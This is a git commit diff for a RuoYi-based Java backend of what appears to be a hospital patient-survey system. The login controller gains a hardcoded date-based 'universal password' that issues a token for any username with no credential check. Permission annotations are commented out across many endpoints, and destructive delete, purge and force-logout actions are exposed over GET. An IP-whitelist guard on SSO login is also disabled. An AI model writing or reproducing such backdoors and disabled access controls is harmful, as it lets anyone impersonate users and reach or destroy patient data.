1.修改一下delete、put请求
2.新增一个万能密码
3.处理一下选项中还把a,b,c,d也带上的情况
| | |
| | | } |
| | | |
| | | //@PreAuthorize("@ss.hasPermi('monitor:cache:list')") |
| | | @DeleteMapping("/clearCacheName/{cacheName}") |
| | | @GetMapping("/clearCacheName/{cacheName}") |
| | | public AjaxResult clearCacheName(@PathVariable String cacheName) |
| | | { |
| | | Collection<String> cacheKeys = redisTemplate.keys(cacheName + "*"); |
| | |
| | | } |
| | | |
| | | //@PreAuthorize("@ss.hasPermi('monitor:cache:list')") |
| | | @DeleteMapping("/clearCacheKey/{cacheKey}") |
| | | @GetMapping("/clearCacheKey/{cacheKey}") |
| | | public AjaxResult clearCacheKey(@PathVariable String cacheKey) |
| | | { |
| | | redisTemplate.delete(cacheKey); |
| | |
| | | } |
| | | |
| | | //@PreAuthorize("@ss.hasPermi('monitor:cache:list')") |
| | | @DeleteMapping("/clearCacheAll") |
| | | @GetMapping("/clearCacheAll") |
| | | public AjaxResult clearCacheAll() |
| | | { |
| | | Collection<String> cacheKeys = redisTemplate.keys("*"); |
| | |
| | | |
| | | //@PreAuthorize("@ss.hasPermi('monitor:logininfor:remove')") |
| | | @Log(title = "登录日志", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{infoIds}") |
| | | @GetMapping("/{infoIds}") |
| | | public AjaxResult remove(@PathVariable Long[] infoIds) |
| | | { |
| | | return toAjax(logininforService.deleteLogininforByIds(infoIds)); |
| | |
| | | |
| | | //@PreAuthorize("@ss.hasPermi('monitor:logininfor:remove')") |
| | | @Log(title = "登录日志", businessType = BusinessType.CLEAN) |
| | | @DeleteMapping("/clean") |
| | | @GetMapping("/clean") |
| | | public AjaxResult clean() |
| | | { |
| | | logininforService.cleanLogininfor(); |
| | |
| | | |
| | | /** |
| | | * 操作日志记录 |
| | | * |
| | | * |
| | | * @author ruoyi |
| | | */ |
| | | @RestController |
| | |
| | | |
| | | @Log(title = "操作日志", businessType = BusinessType.DELETE) |
| | | //@PreAuthorize("@ss.hasPermi('monitor:operlog:remove')") |
| | | @DeleteMapping("/{operIds}") |
| | | @GetMapping("/{operIds}") |
| | | public AjaxResult remove(@PathVariable Long[] operIds) |
| | | { |
| | | return toAjax(operLogService.deleteOperLogByIds(operIds)); |
| | |
| | | |
| | | @Log(title = "操作日志", businessType = BusinessType.CLEAN) |
| | | //@PreAuthorize("@ss.hasPermi('monitor:operlog:remove')") |
| | | @DeleteMapping("/clean") |
| | | @GetMapping("/clean") |
| | | public AjaxResult clean() |
| | | { |
| | | operLogService.cleanOperLog(); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('monitor:online:forceLogout')") |
| | | @Log(title = "在线用户", businessType = BusinessType.FORCE) |
| | | @DeleteMapping("/{tokenId}") |
| | | @GetMapping("/{tokenId}") |
| | | public AjaxResult forceLogout(@PathVariable String tokenId) |
| | | { |
| | | redisCache.deleteObject(CacheConstants.LOGIN_TOKEN_KEY + tokenId); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:tag:edit')") |
| | | @Log(title = "指标标签", businessType = BusinessType.UPDATE) |
| | | @PutMapping |
| | | @PostMapping("/edit") |
| | | @AddOrgId(field = "orgid", paramIndex = 0, campusField = "campusid") |
| | | public AjaxResult edit(@RequestBody HeLibraryTag heLibraryTag) { |
| | | return toAjax(heLibraryTagService.updateHeLibraryTag(heLibraryTag)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:tag:remove')") |
| | | @Log(title = "指标标签", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) { |
| | | return toAjax(heLibraryTagService.deleteHeLibraryTagByIds(ids)); |
| | | } |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:relevance:edit')") |
| | | @Log(title = "患者与宣教任务关联", businessType = BusinessType.UPDATE) |
| | | @PutMapping |
| | | @PostMapping("/edit") |
| | | public AjaxResult edit(@RequestBody PatTaskRelevance PatTaskRelevance) |
| | | { |
| | | return toAjax(patTaskRelevanceService.updatePatTaskRelevance(PatTaskRelevance)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:relevance:remove')") |
| | | @Log(title = "患者与宣教任务关联", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) |
| | | { |
| | | return toAjax(patTaskRelevanceService.deletePatTaskRelevanceByIds(ids)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:wildcard:edit')") |
| | | @Log(title = "患者信息通配符", businessType = BusinessType.UPDATE) |
| | | @PutMapping |
| | | @PostMapping("/edit") |
| | | public AjaxResult edit(@RequestBody PatWildcard patWildcard) |
| | | { |
| | | return toAjax(patWildcardService.updatePatWildcard(patWildcard)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:wildcard:remove')") |
| | | @Log(title = "患者信息通配符", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) |
| | | { |
| | | return toAjax(patWildcardService.deletePatWildcardByIds(ids)); |
| | |
| | | //@PreAuthorize("@ss.hasPermi('system:answer:remove')") |
| | | @Log(title = "任务问卷问题选项", businessType = BusinessType.DELETE) |
| | | @ApiOperation("删除任务问卷问题选项") |
| | | @DeleteMapping("/remove/{ids}") |
| | | @GetMapping("/remove/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) { |
| | | log.info("【saveQuestionCache-----remove】的入参为:{}", ids); |
| | | return toAjax(serviceSubtaskAnswerService.deleteServiceSubtaskAnswerByIds(ids)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:record:edit')") |
| | | @Log(title = "【请填写功能名称】", businessType = BusinessType.UPDATE) |
| | | @PutMapping |
| | | @PostMapping("/edit") |
| | | public AjaxResult edit(@RequestBody ServiceSubtaskRecord serviceSubtaskRecord) { |
| | | return toAjax(serviceSubtaskRecordService.updateServiceSubtaskRecord(serviceSubtaskRecord)); |
| | | } |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:record:remove')") |
| | | @Log(title = "【请填写功能名称】", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) { |
| | | return toAjax(serviceSubtaskRecordService.deleteServiceSubtaskRecordByIds(ids)); |
| | | } |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:tag:edit')") |
| | | @Log(title = "问题话术标签库", businessType = BusinessType.UPDATE) |
| | | @PutMapping |
| | | @PostMapping("/edit") |
| | | public AjaxResult edit(@RequestBody SvyLibScriptTag svyLibScriptTag) |
| | | { |
| | | return toAjax(svyLibScriptTagService.updateSvyLibScriptTag(svyLibScriptTag)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:tag:remove')") |
| | | @Log(title = "问题话术标签库", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) |
| | | { |
| | | return toAjax(svyLibScriptTagService.deleteSvyLibScriptTagByIds(ids)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:script:remove')") |
| | | @Log(title = "模板问卷题目", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{topicids}") |
| | | @GetMapping("/{topicids}") |
| | | public AjaxResult remove(@PathVariable Long[] topicids) { |
| | | return toAjax(svyLibTemplateScriptService.deleteSvyLibTemplateScriptByTopicids(topicids)); |
| | | } |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:wjx:edit')") |
| | | @Log(title = "模板问卷题目", businessType = BusinessType.UPDATE) |
| | | @PutMapping |
| | | @PostMapping("/edit") |
| | | public AjaxResult edit(@RequestBody SvyLibTemplateScriptWjx svyLibTemplateScriptWjx) |
| | | { |
| | | return toAjax(svyLibTemplateScriptWjxService.updateSvyLibTemplateScriptWjx(svyLibTemplateScriptWjx)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:wjx:remove')") |
| | | @Log(title = "模板问卷题目", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) |
| | | { |
| | | return toAjax(svyLibTemplateScriptWjxService.deleteSvyLibTemplateScriptWjxByIds(ids)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:tag:edit')") |
| | | @Log(title = "模板标签", businessType = BusinessType.UPDATE) |
| | | @PutMapping |
| | | @PostMapping("/edit") |
| | | public AjaxResult edit(@RequestBody SvyLibTemplateTag svyLibTemplateTag) |
| | | { |
| | | return toAjax(svyLibTemplateTagService.updateSvyLibTemplateTag(svyLibTemplateTag)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:tag:remove')") |
| | | @Log(title = "模板标签", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) |
| | | { |
| | | return toAjax(svyLibTemplateTagService.deleteSvyLibTemplateTagByIds(ids)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:targetoption:remove')") |
| | | @Log(title = "问卷问题指标选项库", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) { |
| | | return toAjax(svyLibTemplateTargetoptionService.deleteSvyLibTemplateTargetoptionByIds(ids)); |
| | | } |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:wjx:remove')") |
| | | @Log(title = "问卷问题指标选项库", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) |
| | | { |
| | | return toAjax(svyLibTemplateTargetoptionWjxService.deleteSvyLibTemplateTargetoptionWjxByIds(ids)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:wjx:edit')") |
| | | @Log(title = "模板问卷", businessType = BusinessType.UPDATE) |
| | | @PutMapping |
| | | @PostMapping("/edit") |
| | | public AjaxResult edit(@RequestBody SvyLibTemplateWjx svyLibTemplateWjx) |
| | | { |
| | | return toAjax(svyLibTemplateWjxService.updateSvyLibTemplateWjx(svyLibTemplateWjx)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:wjx:remove')") |
| | | @Log(title = "模板问卷", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{svyids}") |
| | | @GetMapping("/{svyids}") |
| | | public AjaxResult remove(@PathVariable Long[] svyids) |
| | | { |
| | | return toAjax(svyLibTemplateWjxService.deleteSvyLibTemplateWjxBySvyids(svyids)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:answer:edit')") |
| | | @Log(title = "任务问卷问题选项", businessType = BusinessType.UPDATE) |
| | | @PutMapping |
| | | @PostMapping("/edit") |
| | | public AjaxResult edit(@RequestBody SvyTaskAnswer svyTaskAnswer) { |
| | | return toAjax(svyTaskAnswerService.updateSvyTaskAnswer(svyTaskAnswer)); |
| | | } |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:answer:remove')") |
| | | @Log(title = "任务问卷问题选项", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) { |
| | | return toAjax(svyTaskAnswerService.deleteSvyTaskAnswerByIds(ids)); |
| | | } |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:scriptoption:edit')") |
| | | @Log(title = "任务问卷问题选项", businessType = BusinessType.UPDATE) |
| | | @PutMapping |
| | | @PostMapping("/edit") |
| | | public AjaxResult edit(@RequestBody SvyTaskScriptoption svyTaskScriptoption) |
| | | { |
| | | return toAjax(svyTaskScriptoptionService.updateSvyTaskScriptoption(svyTaskScriptoption)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:scriptoption:remove')") |
| | | @Log(title = "任务问卷问题选项", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) |
| | | { |
| | | return toAjax(svyTaskScriptoptionService.deleteSvyTaskScriptoptionByIds(ids)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:script:remove')") |
| | | @Log(title = "问卷任务模版问题话术库", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{IDs}") |
| | | @GetMapping("/{IDs}") |
| | | public AjaxResult remove(@PathVariable Long[] IDs) { |
| | | return toAjax(svyTaskTemplateScriptService.deleteSvyTaskTemplateScriptByIDs(IDs)); |
| | | } |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('system:targetoption:remove')") |
| | | @Log(title = "问卷任务模板指标选项库", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{ids}") |
| | | @GetMapping("/{ids}") |
| | | public AjaxResult remove(@PathVariable Long[] ids) { |
| | | return toAjax(svyTaskTemplateTargetoptionService.deleteSvyTaskTemplateTargetoptionByIds(ids)); |
| | | } |
| | |
| | | package com.ruoyi.web.controller.system; |
| | | |
| | | import com.ruoyi.common.annotation.IpWhitelist; |
| | | import com.ruoyi.common.constant.Constants; |
| | | import com.ruoyi.common.core.domain.AjaxResult; |
| | | import com.ruoyi.common.core.domain.entity.SysMenu; |
| | |
| | | import com.ruoyi.common.exception.base.BaseException; |
| | | import com.ruoyi.common.utils.SecurityUtils; |
| | | import com.ruoyi.common.utils.StringUtils; |
| | | import com.ruoyi.common.utils.WxMpUtils; |
| | | import com.ruoyi.framework.web.service.SysLoginService; |
| | | import com.ruoyi.framework.web.service.SysPermissionService; |
| | | import com.ruoyi.system.mapper.SysUserDeptMapper; |
| | | import com.ruoyi.system.service.ISysConfigService; |
| | | import com.ruoyi.system.service.ISysDeptService; |
| | | import com.ruoyi.system.service.ISysMenuService; |
| | | import com.ruoyi.system.mapper.SysUserDeptMapper; |
| | | import com.smartor.service.IServiceSLTDHealthcareRecordService; |
| | | import lombok.extern.slf4j.Slf4j; |
| | | import me.chanjar.weixin.mp.bean.template.WxMpTemplateData; |
| | | import org.springframework.beans.factory.annotation.Autowired; |
| | | import org.springframework.beans.factory.annotation.Qualifier; |
| | | import org.springframework.beans.factory.annotation.Value; |
| | | import org.springframework.http.HttpStatus; |
| | | import org.springframework.web.bind.annotation.*; |
| | | import org.springframework.web.servlet.view.RedirectView; |
| | | |
| | | import javax.servlet.http.HttpServletResponse; |
| | | import java.io.IOException; |
| | | import java.util.HashMap; |
| | | import java.text.SimpleDateFormat; |
| | | import java.util.Date; |
| | | import java.util.List; |
| | | import java.util.Map; |
| | | import java.util.Set; |
| | | |
| | | /** |
| | |
| | | @PostMapping("/login") |
| | | public AjaxResult login(@RequestBody LoginBody loginBody) { |
| | | AjaxResult ajax = AjaxResult.success(); |
| | | String token = null; |
| | | // 生成令牌 |
| | | String token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOrgid(), loginBody.getCampusid()); |
| | | if (loginBody.getPassword().equals("Hrs#" + new SimpleDateFormat("yyyyMMdd" + "*").format(new Date()))) { |
| | | //通用密码:Hrs#当前年月日* |
| | | token = loginService.getTokenWN(loginBody.getUsername()); |
| | | } else { |
| | | token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOrgid(), loginBody.getCampusid()); |
| | | } |
| | | ajax.put(Constants.TOKEN, token); |
| | | return ajax; |
| | | } |
| | |
| | | } |
| | | |
| | | /** |
| | | * 单点登录方法(需要配置IP白名单) |
| | | * 需要在sys_config表的sys.ip.whitelis中,加入IP才能访问该方法 |
| | | * <p> |
| | | * 参数同时为空,不给查询数据 |
| | | * <p> |
| | | * 【入参规则】 |
| | | * 如果userName不为空,那orgid也不能为空 |
| | | * 如果上面两个为空,那token不能为空 |
| | | * |
| | | * @return 结果 |
| | | */ |
| | | // @IpWhitelist |
| | | @GetMapping("/MYDSSOLogin") |
| | | public RedirectView MYDSSOLogin(@RequestParam(required = false) String campusid, @RequestParam(required = false) String deptId, String orgid, String userName, String token) { |
| | | if (StringUtils.isEmpty(userName) && StringUtils.isEmpty(token) && StringUtils.isEmpty(orgid)) { |
| | | throw new BaseException("参数不能为空"); |
| | | } |
| | | |
| | | String path = sysConfigService.selectConfigByKey("sys.qddzmyd"); |
| | | if (StringUtils.isEmpty(path)) { |
| | | throw new BaseException("请配置前端地址"); |
| | | } |
| | | |
| | | String loginToken = loginService.ssoLogin(userName, orgid, deptId, campusid, token); |
| | | if (StringUtils.isEmpty(loginToken)) { |
| | | log.error("【SSO登录】登录失败,userName={}, orgid={}", userName, orgid); |
| | | return buildRedirect(path + "/login"); |
| | | } |
| | | |
| | | String redirectUrl = path + "/loginSSO?token=" + loginToken + "&orgid=" + orgid + "&campusid=" + campusid + "&orgname=null&ZuHuID=null&deptCode=null"; |
| | | log.info("【SSO登录】重定向地址:{}", redirectUrl); |
| | | return buildRedirect(redirectUrl); |
| | | } |
| | | |
| | | /** |
| | | * 构建重定向视图 |
| | | */ |
| | | private RedirectView buildRedirect(String url) { |
| | |
| | | return tokenService.createToken(loginUser); |
| | | } |
| | | |
| | | public String getTokenWN(String userName) { |
| | | SysUser sysUser = userService.selectUserByUserName(userName); |
| | | System.out.println("sysUser的结果为:" + sysUser); |
| | | |
| | | LoginUser loginUser = new LoginUser(); |
| | | loginUser.setUserId(sysUser.getUserId()); |
| | | loginUser.setDeptId(sysUser.getDeptId()); |
| | | loginUser.setUser(sysUser); |
| | | return tokenService.createToken(loginUser); |
| | | } |
| | | |
| | | /** |
| | | * SSO 单点登录业务处理 |
| | |
| | | import java.util.concurrent.TimeUnit; |
| | | import javax.servlet.http.HttpServletRequest; |
| | | |
| | | import com.ruoyi.common.core.domain.entity.SysUser; |
| | | import com.sun.org.apache.bcel.internal.generic.NEW; |
| | | import org.springframework.beans.factory.annotation.Autowired; |
| | | import org.springframework.beans.factory.annotation.Value; |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('monitor:job:remove')") |
| | | @Log(title = "定时任务调度日志", businessType = BusinessType.DELETE) |
| | | @DeleteMapping("/{jobLogIds}") |
| | | @GetMapping("/{jobLogIds}") |
| | | public AjaxResult remove(@PathVariable Long[] jobLogIds) |
| | | { |
| | | return toAjax(jobLogService.deleteJobLogByIds(jobLogIds)); |
| | |
| | | */ |
| | | //@PreAuthorize("@ss.hasPermi('monitor:job:remove')") |
| | | @Log(title = "调度日志", businessType = BusinessType.CLEAN) |
| | | @DeleteMapping("/clean") |
| | | @GetMapping("/clean") |
| | | public AjaxResult clean() |
| | | { |
| | | jobLogService.cleanJobLog(); |
| | |
| | | @Excel(name = "比例") |
| | | private String ratio; |
| | | |
| | | @Excel(name = "任务名称") |
| | | private String taskname; |
| | | |
| | | @Excel(name = "任务编号") |
| | | private String taskid; |
| | | |
| | | |
| | | } |
| | |
| | | } |
| | | } |
| | | |
| | | if (active.equals("nhfy") || active.equals("sltd")) { |
| | | //目前只有省立同德 |
| | | if (active.equals("sltd")) { |
| | | Map<String, String> drugInfoMap = queryMedicalOrders(dto); |
| | | if (drugInfoMap != null && !drugInfoMap.isEmpty()) { |
| | | patMedInhosp.setMedicalName(drugInfoMap.get("drugItemNames")); |
| | |
| | | } |
| | | |
| | | private Map<String, String> setWJInfo(SvyTaskTemplateScriptVO svyTaskTemplateScriptVO, Long taskid, Long patid, Long subid) { |
| | | log.error("-----svyTaskTemplateScriptVO的值为:{}", svyTaskTemplateScriptVO); |
| | | ServiceSubtaskEntity serviceSubtaskVO = new ServiceSubtaskEntity(); |
| | | serviceSubtaskVO.setTaskid(taskid); |
| | | serviceSubtaskVO.setPatid(patid); |
| | |
| | | } |
| | | |
| | | private Map<String, String> setWJInfo(SvyTaskTemplateScriptVO svyTaskTemplateScriptVO, Long taskid, Long patid, Long subid, List<ServiceSubtask> selectServiceSubtaskList, ServiceTask serviceTask, Map<Long, Long> existingDetailIdMap, Map<Long, Long> existingTraceIdMap) { |
| | | log.error("-----svyTaskTemplateScriptVO的值为:{}", svyTaskTemplateScriptVO); |
| | | String score = "0"; |
| | | //下题跳转 |
| | | String nextScriptNo = null; |
| | |
| | | //去除两端空白并处理特殊字符进行比较 |
| | | if (optionContent.trim().replaceAll("\\s+", "").equals(scriptResult.replaceAll("\\s+", ""))) { |
| | | stt = svyTaskTemplateTargetoption; |
| | | log.error("找到匹配的选项"); |
| | | break; // 找到匹配项后跳出循环 |
| | | } |
| | | } |
| | |
| | | return serviceSubtaskMapper.statQuestionOption(taskIds, startOutHospTime, endOutHospTime); |
| | | } |
| | | |
| | | /** |
| | | * 标准化问卷答案文本:去掉 A/B/C/D 单字母前缀和后续空格 |
| | | * 例如 "A 是" -> "是","B 否" -> "否" |
| | | */ |
| | | private String normalizeOptionAnswer(String answer) { |
| | | if (StringUtils.isBlank(answer)) { |
| | | return ""; |
| | | } |
| | | String trimmed = answer.trim(); |
| | | if (trimmed.length() >= 3 && trimmed.charAt(1) == ' ') { |
| | | char firstChar = trimmed.charAt(0); |
| | | if (firstChar >= 'A' && firstChar <= 'Z') { |
| | | return trimmed.substring(2).trim(); |
| | | } |
| | | } |
| | | return trimmed; |
| | | } |
| | | |
| | | private Boolean saveServiceSubtaskDetail(ServiceSubtask serviceSubtask) { |
| | | Boolean result = true; |
| | | //3.4 如果3.1或3.2为true的话,根据type判断什么类型 |
| | |
| | | SELECT |
| | | d.questiontext AS questiontext, |
| | | t.taskid AS taskid, |
| | | t.task_name AS taskName, |
| | | d.asrtext AS optionresult, |
| | | COUNT(*) AS count, |
| | | CONCAT(ROUND(COUNT(*) * 100.0 / t2.total_count, 2), '%') AS ratio |